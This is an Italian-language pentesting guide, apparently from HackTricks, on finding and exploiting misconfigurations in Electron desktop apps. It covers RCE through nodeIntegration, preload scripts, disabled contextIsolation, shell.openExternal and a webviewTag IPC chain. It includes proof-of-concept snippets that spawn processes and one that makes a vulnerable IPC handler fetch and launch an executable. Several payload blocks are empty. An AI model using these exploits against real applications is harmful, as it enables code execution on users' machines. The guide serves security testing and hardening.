# Electron Desktop Apps {{#include ../../../banners/hacktricks-training.md}} ## Introduzione Electron combina un backend locale (con **NodeJS**) e un frontend (**Chromium**), anche se manca di alcuni meccanismi di sicurezza dei browser moderni. Di solito puoi trovare il codice dell'app electron all'interno di un'applicazione `.asar`, per ottenere il codice è necessario estrarlo: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` Nel codice sorgente di un'app Electron, all'interno di `packet.json`, puoi trovare specificato il file `main.js` dove sono impostate le configurazioni di sicurezza. ```json { "name": "standard-notes", "main": "./app/index.js", ``` Electron ha 2 tipi di processi: - Processo Principale (ha accesso completo a NodeJS) - Processo Renderer (dovrebbe avere accesso limitato a NodeJS per motivi di sicurezza) ![](<../../../images/image (182).png>) Un **processo renderer** sarà una finestra del browser che carica un file: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` Le impostazioni del **renderer process** possono essere **configurate** nel **main process** all'interno del file main.js. Alcune delle configurazioni **preveniranno all'applicazione Electron di ottenere RCE** o altre vulnerabilità se le **impostazioni sono configurate correttamente**. L'applicazione electron **può accedere al dispositivo** tramite le API di Node, anche se può essere configurata per prevenirlo: - **`nodeIntegration`** - è `off` per impostazione predefinita. Se attivato, consente di accedere alle funzionalità di Node dal renderer process. - **`contextIsolation`** - è `on` per impostazione predefinita. Se disattivato, i processi main e renderer non sono isolati. - **`preload`** - vuoto per impostazione predefinita. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - è disattivato per impostazione predefinita. Restriggerà le azioni che NodeJS può eseguire. - Integrazione di Node nei Workers - **`nodeIntegrationInSubframes`** - è `off` per impostazione predefinita. - Se **`nodeIntegration`** è **abilitato**, questo consentirebbe l'uso delle **API di Node.js** nelle pagine web che sono **caricate in iframe** all'interno di un'applicazione Electron. - Se **`nodeIntegration`** è **disabilitato**, allora i preload verranno caricati nell'iframe. Esempio di configurazione: ```javascript const mainWindowOptions = { title: "Discord", backgroundColor: getBackgroundColor(), width: DEFAULT_WIDTH, height: DEFAULT_HEIGHT, minWidth: MIN_WIDTH, minHeight: MIN_HEIGHT, transparent: false, frame: false, resizable: true, show: isVisible, webPreferences: { blinkFeatures: "EnumerateDevices,AudioOutputDevices", nodeIntegration: false, contextIsolation: false, sandbox: false, nodeIntegrationInSubFrames: false, preload: _path2.default.join(__dirname, "mainScreenPreload.js"), nativeWindowOpen: true, enableRemoteModule: false, spellcheck: true, }, } ``` Alcuni **RCE payloads** da [qui](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): Example Payloads (Linux & MacOS): ``` ### Cattura traffico Modifica la configurazione start-main e aggiungi l'uso di un proxy come: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Esecuzione di Codice Locale in Electron Se puoi eseguire localmente un'app Electron, è possibile che tu possa farla eseguire codice javascript arbitrario. Controlla come in: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md {{#endref}} ## RCE: XSS + nodeIntegration Se **nodeIntegration** è impostato su **on**, il JavaScript di una pagina web può utilizzare facilmente le funzionalità di Node.js semplicemente chiamando `require()`. Ad esempio, il modo per eseguire l'applicazione calcolatrice su Windows è: ```html ```
## RCE: preload Lo script indicato in questa impostazione è l**oaded prima di altri script nel renderer**, quindi ha **accesso illimitato alle API di Node**: ```javascript new BrowserWindow{ webPreferences: { nodeIntegration: false, preload: _path2.default.join(__dirname, 'perload.js'), } }); ``` Pertanto, lo script può esportare node-features su pagine: ```javascript:preload.js typeof require === "function" window.runCalc = function () { require("child_process").exec("calc") } ``` ```html:index.html ``` > [!NOTE] > **Se `contextIsolation` è attivato, questo non funzionerà** ## RCE: XSS + contextIsolation Il _**contextIsolation**_ introduce i **contesti separati tra gli script della pagina web e il codice interno JavaScript di Electron** in modo che l'esecuzione di ciascun codice non influisca sugli altri. Questa è una caratteristica necessaria per eliminare la possibilità di RCE. Se i contesti non sono isolati, un attaccante può: 1. Eseguire **JavaScript arbitrario nel renderer** (XSS o navigazione verso siti esterni) 2. **Sovrascrivere il metodo incorporato** che viene utilizzato nel preload o nel codice interno di Electron con una propria funzione 3. **Attivare** l'uso della **funzione sovrascritta** 4. RCE? Ci sono 2 luoghi in cui i metodi incorporati possono essere sovrascritti: nel codice di preload o nel codice interno di Electron: {{#ref}} electron-contextisolation-rce-via-preload-code.md {{#endref}} {{#ref}} electron-contextisolation-rce-via-electron-internal-code.md {{#endref}} {{#ref}} electron-contextisolation-rce-via-ipc.md {{#endref}} ### Bypass dell'evento di clic Se ci sono restrizioni applicate quando clicchi su un link, potresti essere in grado di bypassarle **facendo un clic centrale** invece di un normale clic sinistro. ```javascript window.addEventListener('click', (e) => { ``` ## RCE tramite shell.openExternal Per ulteriori informazioni su questi esempi, controlla [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) Quando si distribuisce un'applicazione desktop Electron, è fondamentale garantire le impostazioni corrette per `nodeIntegration` e `contextIsolation`. È stato stabilito che **l'esecuzione remota di codice lato client (RCE)** mirata a script di preload o al codice nativo di Electron dal processo principale è efficacemente prevenuta con queste impostazioni in atto. Quando un utente interagisce con i link o apre nuove finestre, vengono attivati specifici listener di eventi, che sono cruciali per la sicurezza e la funzionalità dell'applicazione: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` Questi listener sono **sovrascritti dall'applicazione desktop** per implementare la propria **logica aziendale**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene solitamente presa tramite una funzione, `openInternally`. Se questa funzione restituisce `false`, indica che il link deve essere aperto esternamente, utilizzando la funzione `shell.openExternal`. **Ecco un pseudocodice semplificato:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) Le migliori pratiche di sicurezza di Electron JS sconsigliano di accettare contenuti non attendibili con la funzione `openExternal`, poiché potrebbe portare a RCE attraverso vari protocolli. I sistemi operativi supportano diversi protocolli che potrebbero attivare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a [questa risorsa](https://positive.security/blog/url-open-rce#windows-10-19042), che include esempi di protocolli Windows in grado di sfruttare questa vulnerabilità. In macos, la funzione `openExternal` può essere sfruttata per eseguire comandi arbitrari come in `shell.openExternal('file:///System/Applications/Calculator.app')`. **Esempi di exploit di protocolli Windows includono:** ```html ``` ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal Questa vulnerabilità può essere trovata in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. Il **webviewTag** è una **funzionalità deprecata** che consente l'uso di **NodeJS** nel **processo di rendering**, che dovrebbe essere disabilitato in quanto consente di caricare uno script all'interno del contesto di preload come: ```xml ``` Pertanto, un attaccante che riesce a caricare una pagina arbitraria potrebbe utilizzare quel tag per **caricare un script di pre-caricamento arbitrario**. Questo script di pre-caricamento è stato abusato per chiamare un **servizio IPC vulnerabile (`skype-new-window`)** che stava chiamando **`shell.openExternal`** per ottenere RCE: ```javascript (async() => { const { ipcRenderer } = require("electron"); await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); setTimeout(async () => { const username = process.execPath.match(/C:\\Users\\([^\\]+)/); await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); }, 5000); })(); ``` ## Lettura di File Interni: XSS + contextIsolation **Disabilitare `contextIsolation` consente l'uso di `` tags**, simile a ` ``` ## **RCE: XSS + Old Chromium** Se il **chromium** utilizzato dall'applicazione è **vecchio** e ci sono **vulnerabilità** **note** su di esso, potrebbe essere possibile **sfruttarlo e ottenere RCE tramite un XSS**.\ Puoi vedere un esempio in questo **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) ## **XSS Phishing tramite bypass regex URL interni** Supponendo che tu abbia trovato un XSS ma **non puoi attivare RCE o rubare file interni**, potresti provare a usarlo per **rubare credenziali tramite phishing**. Prima di tutto, devi sapere cosa succede quando provi ad aprire un nuovo URL, controllando il codice JS nel front-end: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` La chiamata a **`openInternally`** deciderà se il **link** sarà **aperto** nella **finestra desktop** poiché è un link appartenente alla piattaforma, **o** se sarà aperto nel **browser come risorsa di terze parti**. Nel caso in cui il **regex** utilizzato dalla funzione sia **vulnerabile a bypass** (ad esempio, **non eseguendo l'escape dei punti dei sottodomini**), un attaccante potrebbe abusare dell'XSS per **aprire una nuova finestra che** sarà situata nell'infrastruttura dell'attaccante **richiedendo credenziali** all'utente: ```html ``` ## `file://` Protocol Come menzionato nella [documentazione](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), le pagine che girano su **`file://`** hanno accesso unilaterale a ogni file sul tuo computer, il che significa che **i problemi di XSS possono essere utilizzati per caricare file arbitrari** dalla macchina dell'utente. Utilizzare un **protocollo personalizzato** previene problemi come questo, poiché puoi limitare il protocollo a servire solo un insieme specifico di file. ## Modulo remoto Il modulo Remote di Electron consente ai **processi di rendering di accedere alle API del processo principale**, facilitando la comunicazione all'interno di un'applicazione Electron. Tuttavia, abilitare questo modulo introduce rischi significativi per la sicurezza. Espande la superficie di attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come gli attacchi di cross-site scripting (XSS). > [!TIP] > Anche se il modulo **remote** espone alcune API dal principale ai processi di rendering, non è semplice ottenere RCE solo abusando dei componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili. > [!WARNING] > Molte app che utilizzano ancora il modulo remoto lo fanno in un modo che **richiede l'abilitazione di NodeIntegration** nel processo di rendering, il che rappresenta un **enorme rischio per la sicurezza**. Dalla versione 14 di Electron, il modulo `remote` di Electron potrebbe essere abilitato in diversi passaggi, poiché per motivi di sicurezza e prestazioni è **consigliato non usarlo**. Per abilitarlo, è prima necessario **abilitarlo nel processo principale**: ```javascript const remoteMain = require('@electron/remote/main') remoteMain.initialize() [...] function createMainWindow() { mainWindow = new BrowserWindow({ [...] }) remoteMain.enable(mainWindow.webContents) ``` Quindi, il processo di rendering può importare oggetti dal modulo come: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` Il **[post del blog](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica alcune interessanti **funzioni** esposte dall'oggetto **`app`** del modulo remoto: - **`app.relaunch([options])`** - **Riavvia** l'applicazione **uscendo** dall'istanza corrente e **lanciando** una nuova. Utile per **aggiornamenti dell'app** o significativi **cambiamenti di stato**. - **`app.setAppLogsPath([path])`** - **Definisce** o **crea** una directory per memorizzare i **log dell'app**. I log possono essere **recuperati** o **modificati** utilizzando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**. - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **Registra** l'eseguibile corrente come **gestore predefinito** per un **protocollo** specificato. Puoi fornire un **percorso personalizzato** e **argomenti** se necessario. - **`app.setUserTasks(tasks)`** - **Aggiunge** attività alla **categoria Attività** nella **Jump List** (su Windows). Ogni attività può controllare come l'app viene **lanciata** o quali **argomenti** vengono passati. - **`app.importCertificate(options, callback)`** - **Importa** un **certificato PKCS#12** nel **negozio di certificati** del sistema (solo Linux). Un **callback** può essere utilizzato per gestire il risultato. - **`app.moveToApplicationsFolder([options])`** - **Sposta** l'applicazione nella **cartella Applicazioni** (su macOS). Aiuta a garantire un'**installazione standard** per gli utenti Mac. - **`app.setJumpList(categories)`** - **Imposta** o **rimuove** una **Jump List personalizzata** su **Windows**. Puoi specificare **categorie** per organizzare come le attività appaiono all'utente. - **`app.setLoginItemSettings(settings)`** - **Configura** quali **eseguibili** si avviano al **login** insieme alle loro **opzioni** (solo macOS e Windows). ```javascript Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.exit() ``` ## systemPreferences module L'**API principale** per accedere alle preferenze di sistema e **emettendo eventi di sistema** in Electron. Metodi come **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** e **setUserDefault** sono tutti **parte di** questo modulo. **Esempio di utilizzo:** ```javascript const { systemPreferences } = require('electron'); // Subscribe to a specific notification systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => { console.log('Received custom notification:', userInfo); }); // Get a user default key from macOS const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array'); console.log('Recent Places:', recentPlaces); ``` ### **subscribeNotification / subscribeWorkspaceNotification** * **Ascolta** le **notifiche native macOS** utilizzando NSDistributedNotificationCenter. * Prima di **macOS Catalina**, era possibile sniffare **tutte** le notifiche distribuite passando **nil** a CFNotificationCenterAddObserver. * Dopo **Catalina / Big Sur**, le app sandboxed possono ancora **iscriversi** a **molti eventi** (ad esempio, **blocco/sblocco dello schermo**, **montaggi di volume**, **attività di rete**, ecc.) registrando le notifiche **per nome**. ### **getUserDefault / setUserDefault** * **Interagisce** con **NSUserDefaults**, che memorizza le **preferenze** dell'**applicazione** o **globali** su macOS. * **getUserDefault** può **recuperare** informazioni sensibili, come **posizioni di file recenti** o **posizione geografica dell'utente**. * **setUserDefault** può **modificare** queste preferenze, potenzialmente influenzando la **configurazione** di un'app. * Nelle **versioni più vecchie di Electron** (prima della v8.3.0), solo la **suite standard** di NSUserDefaults era **accessibile**. ## Shell.showItemInFolder Questa funzione mostra il file dato in un gestore di file, che **potrebbe eseguire automaticamente il file**. Per ulteriori informazioni controlla [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) ## Content Security Policy Le app Electron dovrebbero avere una **Content Security Policy (CSP)** per **prevenire attacchi XSS**. La **CSP** è uno **standard di sicurezza** che aiuta a **prevenire** l'**esecuzione** di **codice non attendibile** nel browser. Di solito è **configurata** nel file **`main.js`** o nel template **`index.html`** con la CSP all'interno di un **meta tag**. Per ulteriori informazioni controlla: {{#ref}} pentesting-web/content-security-policy-csp-bypass/ {{#endref}} ## **Tools** - [**Electronegativity**](https://github.com/doyensec/electronegativity) è uno strumento per identificare misconfigurazioni e anti-pattern di sicurezza nelle applicazioni basate su Electron. - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) è un plugin open source per VS Code per applicazioni Electron che utilizza Electronegativity. - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) per controllare librerie di terze parti vulnerabili. - [**Electro.ng**](https://electro.ng/): Devi acquistarlo. ## Labs In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puoi trovare un laboratorio per sfruttare app Electron vulnerabili. Al alcuni comandi che ti aiuteranno con il laboratorio: ```bash # Download apps from these URls # Vuln to nodeIntegration https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip # Vuln to contextIsolation via preload script https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip # Vuln to IPC Rce https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip # Get inside the electron app and check for vulnerabilities npm audit # How to use electronegativity npm install @doyensec/electronegativity -g electronegativity -i vulnerable1 # Run an application from source code npm install -g electron cd vulnerable1 npm install npm start ``` ## **Riferimenti** - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) - [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) - [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) - Maggiori ricerche e articoli sulla sicurezza di Electron in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) - [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) - [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) {{#include ../../../banners/hacktricks-training.md}}